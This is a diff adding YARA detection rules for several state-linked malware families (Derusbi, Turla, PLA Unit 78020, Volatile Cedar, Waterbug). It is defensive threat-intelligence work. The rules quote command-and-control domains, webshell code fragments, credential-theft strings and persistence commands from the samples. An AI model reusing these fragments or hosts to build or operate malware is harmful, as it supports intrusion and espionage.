+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $a1 = "loadso" wide ascii fullword
+      $a2 = "\nuname -a\n\n" wide ascii
+      $a3 = "/dev/shm/.x11.id" wide ascii
+      $a4 = "LxMain64" wide ascii nocase
+      $a5 = "# \\u@\\h:\\w \\$ " wide ascii
+      $b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+      $b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+      $b3 = "ret %d" wide fullword
+      $b4 = "uname -a\n\n" wide ascii
+      $b5 = "/proc/%u/cmdline" wide ascii
+      $b6 = "/proc/self/exe" wide ascii
+      $b7 = "cp -a %s %s" wide ascii
+      $c1 = "/dev/pts/4" wide ascii fullword
+      $c2 = "/tmp/1408.log" wide ascii fullword
+   condition:
+      uint32(0) == 0x464C457F and
+      (
+         (1 of ($a*) and 4 of ($b*) ) or
+         (1 of ($a*) and 1 of ($c*)) or
+         2 of ($a*) or
+         all of ($b*)
+      )
+}
+
+rule apt_win_exe_trojan_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor Win32"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $sa_1 = "USB" wide ascii
+      $sa_2 = "RAM" wide ascii
+      $sa_3 = "SHARE" wide ascii
+      $sa_4 = "HOST: %s:%d"
+      $sa_5 = "POST"
+      $sa_6 = "User-Agent: Mozilla"
+      $sa_7 = "Proxy-Connection: Keep-Alive"
+      $sa_8 = "Connection: Keep-Alive"
+      $sa_9 = "Server: Apache"
+      $sa_10 = "HTTP/1.1"
+      $sa_11 = "ImagePath"
+      $sa_12 = "ZwUnloadDriver"
+      $sa_13 = "ZwLoadDriver"
+      $sa_14 = "ServiceMain"
+      $sa_15 = "regsvr32.exe"
+      $sa_16 = "/s /u" wide ascii
+      $sa_17 = "rand"
+      $sa_18 = "_time64"
+      $sa_19 = "DllRegisterServer"
+      $sa_20 = "DllUnregisterServer"
+      $sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 } // Decode Driver
+
+      $sb_1 = "PCC_CMD_PACKET"
+      $sb_2 = "PCC_CMD"
+      $sb_3 = "PCC_BASEMOD"
+      $sb_4 = "PCC_PROXY"
+      $sb_5 = "PCC_SYS"
+      $sb_6 = "PCC_PROCESS"
+      $sb_7 = "PCC_FILE"
+      $sb_8 = "PCC_SOCK"
+
+      $sc_1 = "bcdedit -set testsigning" wide ascii
+      $sc_2 = "update.microsoft.com" wide ascii
+      $sc_3 = "_crt_debugger_hook" wide ascii
+      $sc_4 = "ue8G5" wide ascii
+
+      $sd_1 = "NET" wide ascii
+      $sd_2 = "\\\\.\\pipe\\%s" wide ascii
+      $sd_3 = ".dat" wide ascii
+      $sd_4 = "CONNECT %s:%d" wide ascii
+      $sd_5 = "\\Device\\" wide ascii
+
+      $se_1 = "-%s-%04d" wide ascii
+      $se_2 = "-%04d" wide ascii
+      $se_3 = "FAL" wide ascii
+      $se_4 = "OK" wide ascii
+      $se_5 = "2.03" wide ascii
+      $se_6 = "XXXXXXXXXXXXXXX" wide ascii
+
+   condition:
+      uint16(0) == 0x5A4D and (
+         all of ($sa_*) or
+         (
+            (13 of ($sa_*)) and (
+               (5 of ($sb_*)) or
+               (3 of ($sc_*)) or
+               (all of ($sd_*)) or
+               ( 1 of ($sc_*) and all of ($se_*) )
+            )
+         )
+      )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_turla.yar b/yara-mikesxrs/Florian Roth/apt_turla.yar
new file mode 100644
index 0000000..083aaa7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_turla.yar	
@@ -0,0 +1,142 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-09
+	Identifier: Turla Samples from RUAG Cyber Attack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Turla_APT_srsvc {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
+		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
+	strings:
+		$x1 = "SVCHostServiceDll.dll" fullword ascii
+
+		$s2 = "msimghlp.dll" fullword wide
+		$s3 = "srservice" fullword wide
+		$s4 = "ModStart" fullword ascii
+		$s5 = "ModStop" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) or all of ($s*) ) )
+		or ( all of them )
+}
+
+rule Turla_APT_Malware_Gen1 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+	strings:
+		$x1 = "too long data for this type of transport" fullword ascii
+		$x2 = "not enough server resources to complete operation" fullword ascii
+		$x3 = "Task not execute. Arg file failed." fullword ascii
+		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
+
+		$s1 = "peer has closed the connection" fullword ascii
+		$s2 = "tcpdump.exe" fullword ascii
+		$s3 = "windump.exe" fullword ascii
+		$s4 = "dsniff.exe" fullword ascii
+		$s5 = "wireshark.exe" fullword ascii
+		$s6 = "ethereal.exe" fullword ascii
+		$s7 = "snoop.exe" fullword ascii
+		$s8 = "ettercap.exe" fullword ascii
+		$s9 = "miniport.dat" fullword ascii
+		$s10 = "net_password=%s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 2 of ($x*) or 8 of ($s*) ) )
+		or ( 12 of them )
+}
+
+rule Turla_APT_Malware_Gen2 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+	strings:
+		$x1 = "Internal command not support =((" fullword ascii
+		$x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
+		$x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
+		$x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
+		$x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
+		$x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
+		$x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
+		$x8 = "\\\\%s\\pipe\\comnode" fullword ascii
+		$x9 = "Plugin dll stop failed." fullword ascii
+		$x10 = "AS_USER:LogonUser():%d" fullword ascii
+
+		$s1 = "MSIMGHLP.DLL" fullword wide
+		$s2 = "msimghlp.dll" fullword ascii
+		$s3 = "ximarsh.dll" fullword ascii
+		$s4 = "msximl.dll" fullword ascii
+		$s5 = "INTERNAL.dll" fullword ascii
+		$s6 = "\\\\.\\Global\\PIPE\\" fullword ascii
+		$s7 = "ieuser.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 5 of ($s*) ) )
+		or ( 10 of them )
+}
+
+rule Turla_APT_Malware_Gen3 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+	strings:
+		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
+		$x2 = "WaitMutex Abandoned %p" fullword ascii
+		$x3 = "OPER|Wrong config: no port|" fullword ascii
+		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
+		$x5 = "OPER|Wrong config: empty address|" fullword ascii
+		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
+		$x7 = "OPER|Wrong config: no auth|" fullword ascii
+		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
+		$s3 = "www.yahoo.com" fullword ascii
+		$s4 = "MSXIML.DLL" fullword wide
+		$s5 = "www.bing.com" fullword ascii
+		$s6 = "%s: http://%s%s" fullword ascii
+		$s7 = "/javascript/view.php" fullword ascii
+		$s8 = "Task %d failed %s,%d" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 6 of ($s*) ) )
+		or ( 10 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_unit78020_malware.yar b/yara-mikesxrs/Florian Roth/apt_unit78020_malware.yar
new file mode 100644
index 0000000..a0e7c92
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_unit78020_malware.yar	
@@ -0,0 +1,129 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-24
+	Identifier: Unit 78020 Malware
+*/
+
+rule Unit78020_Malware_Gen1 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
+		hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash3 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash4 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+		hash5 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
+	strings:
+		$x1 = "greensky27.vicp.net" fullword wide
+		$x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		/* additional strings based on PDF report - not found in samples */
+		$x4 = "serch.vicp.net" fullword wide
+		$x5 = "greensky27.vicp.net" fullword wide
+		$x6 = "greensky27.vicp.net.as" fullword wide
+		$x7 = "greensky27.vcip.net" fullword wide
+		$x8 = "pnoc-ec.vicp.net" fullword wide
+		$x9 = "aseanph.vicp.net" fullword wide
+		$x10 = "pnoc.vicp.net" fullword wide
+
+		$a1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide /* typo */
+		$a2 = "User-Agent: Netscape" fullword ascii /* ;) */
+		$a3 = "Accept-Language:En-us/r/n" fullword wide /* typo */
+		$a4 = "\\Office Start.lnk" fullword wide
+		$a5 = "\\MSN Talk Start.lnk" fullword wide
+
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" fullword wide
+		$s4 = "Content-Type:application/x-www-form-urlencoded/r/n" fullword wide
+		$s5 = "Hello World!" fullword wide
+		$s6 = "Accept-Encoding:gzip,deflate/r/n" fullword wide
+		$s7 = "/%d%s%d" fullword ascii
+		$s8 = "%02d-%02d-%02d %02d:%02d" fullword wide
+		$s9 = "WininetMM Version 1.0" fullword wide
+		$s10 = "WININETMM" fullword wide
+		$s11 = "GET %dHTTP/1.1" fullword ascii
+		$s12 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$s13 = "PeekNamePipe" fullword ascii
+		$s14 = "Normal.dot" fullword ascii
+		$s15 = "R_eOR_eOR_eO)CiOS_eO" fullword ascii
+		$s16 = "DRIVE_RAMDISK" fullword wide
+		$s17 = "%s %s %s %s %d %d %d %d " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 250KB and 1 of ($x*) ) or
+		2 of ($a*) or 
+		6 of ($s*) 
+
+}
+
+rule Unit78020_Malware_1 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
+	strings:
+		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s2 = "msictl.exe" fullword ascii
+		$s3 = "127.0.0.1:8080" fullword ascii
+		$s4 = "mshtml.dat" fullword ascii
+		$s5 = "msisvc" fullword ascii
+		$s6 = "NOKIAN95/WEB" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and 4 of them
+}
+
+rule Unit78020_Malware_Gen2 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
+	strings:
+		$s0 = "-GetModuleFileNameExW" fullword ascii
+		$s1 = "\\MSN Talk Start.lnk" fullword wide
+		$s2 = ":SeDebugPrivilege" fullword wide
+		$s3 = "WinMM Version 1.0" fullword wide
+		$s4 = "dwError1 = %d" fullword ascii
+		$s5 = "*Can't Get" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule Unit78020_Malware_Gen3 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+	strings:
+		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x3 = "J:\\chong\\" ascii
+
+		$s1 = "User-Agent: Netscape" fullword ascii
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
+		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
+		$s5 = "MM.exe" fullword ascii
+		$s6 = "network.proxy.ssl" fullword wide
+		$s7 = "PeekNamePipe" fullword ascii
+		$s8 = "Host: %ws:%d" fullword ascii
+		$s9 = "GET %dHTTP/1.1" fullword ascii
+		$s10 = "SCHANNEL.DLL" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) ) or 
+		4 of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_volatile_cedar.yar b/yara-mikesxrs/Florian Roth/apt_volatile_cedar.yar
new file mode 100644
index 0000000..88f1a65
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_volatile_cedar.yar	
@@ -0,0 +1,115 @@
+rule Explosive_EXE : APT { 
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Check Point Software Technologies Inc." 
+	strings:
+		$DLD_S = "DLD-S:" 
+		$DLD_E = "DLD-E:"
+	condition:
+		all of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_1 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT - file b74bd5660baf67038353136978ed16dbc7d105c60c121cf64c61d8f3d31de32c"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
+	strings:
+		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
+		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
+		$s11 = "IE:Password-Protected sites" fullword ascii
+		$s12 = "\\his.sys" fullword ascii
+		$s13 = "HTTP Password" fullword ascii
+		$s14 = "\\data.sys" fullword ascii
+		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
+		$s17 = "Office Outlook HTTP" fullword ascii
+		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii
+	condition:
+		all of them and  
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_2 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT - file bfc63b30624332f4fc2e510f95b69d18dd0241eb0d2fcd33ed2e81b7275ab488"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
+	strings:
+		$s0 = "serverhelp.dll" fullword wide
+		$s1 = "Windows Help DLL" fullword wide
+		$s5 = "SetWinHoK" fullword ascii
+	condition:
+		all of them and  
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Generic_1 {
+	meta:
+		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/04/03"
+		score = 70
+		super_rule = 1
+		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
+		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
+		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
+		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
+		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
+	strings:
+		$s0 = "autorun.exe" fullword
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
+		$s2 = "%drp.exe" fullword
+		$s3 = "%s_%s%d.exe" fullword
+		$s4 = "open=autorun.exe" fullword
+		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
+		$s10 = "error.renamefile" fullword
+		$s12 = "insufficient lookahead" fullword
+		$s13 = "%s %s|" fullword
+		$s16 = ":\\autorun.exe" fullword
+	condition:
+		7 of them and  
+        uint16(0) == 0x5A4D 
+}
+
+rule Explosive_UA {
+	meta:
+		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
+		author = "Florian Roth"
+		reference = "http://goo.gl/HQRCdw"
+		date = "2015/04/03"
+		score = 60
+	strings:	
+		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword
+	condition:
+		$x1 and  
+        uint16(0) == 0x5A4D 
+}
+
+rule Webshell_Caterpillar_ASPX {
+	meta:
+		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
+		author = "Florian Roth"
+		reference = "http://goo.gl/emons5"
+		date = "2015/04/03"
+		super_rule = 1
+		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
+	strings:
+		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
+		$s1 = "command = \"ipconfig /all\"" fullword
+		$s3 = "For Each xfile In mydir.GetFiles()" fullword
+		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
+		$s12 = "b = Request.QueryString(\"src\")" fullword
+		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_waterbug.yar b/yara-mikesxrs/Florian Roth/apt_waterbug.yar
new file mode 100644
index 0000000..711b44e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_waterbug.yar	
@@ -0,0 +1,123 @@
+/* WATERBUG ----------------------------------------------------------------- */
+
+rule WaterBug_wipbot_2013_core_PDF {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings:
+		$PDF = "%PDF-"
+		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/ 
+		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+	condition:
+		($PDF at 0) and #a > 150 and #b > 200
+}
+
+rule WaterBug_wipbot_2013_dll {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"		
+	strings:
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		//read file... error..
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+	condition:
+		2 of them
+}
+
+rule WaterBug_wipbot_2013_core {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"			
+	strings:
+		$mz = "MZ"
+		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+	condition:
+		$mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule WaterBug_turla_dropper {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings: 
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+	condition: 
+		all of them
+}
+
+rule WaterBug_fa_malware { 
+	meta: 
+		description = "Symantec Waterbug Attack - FA malware variant"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings:
+		$mz = "MZ"
+		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku_Win32.sys\x00"
+		$string4 = "rk_ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+	condition:
+		($mz at 0) and (any of ($string*))
+}
+
+/* pe module memory leak problem
+
+
+rule WaterBug_turla_dll {
+	meta: 
+		description = "Symantec Waterbug Attack - Trojan Turla DLL"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"	
+	strings:
+		$a = /([A-Za-z0-9]{2,10}_){,2}Win32\.dll\x00/
+	condition:
+		pe.exports("ee") and $a
+}
+
+rule WaterBug_sav_dropper {
+	meta: 
+		description = "Symantec Waterbug Attack - SAV Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl" 
+	strings:
+		$mz = "MZ"
+		$a = /[a-z]{,10}_x64.sys\x00hMZ\x00/
+	condition:
+		($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a 
+}
+
+*/ 
+
+rule WaterBug_sav {
+	meta: 
+		description = "Symantec Waterbug Attack - SAV Malware"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl" 	
+	strings:
+		$mz = "MZ"
+		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+		$code2 =  { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+	condition:
+		($mz at 0) and (($code1a or $code1b or $code1c) and $code2) 
+}
\ No newline at end of file
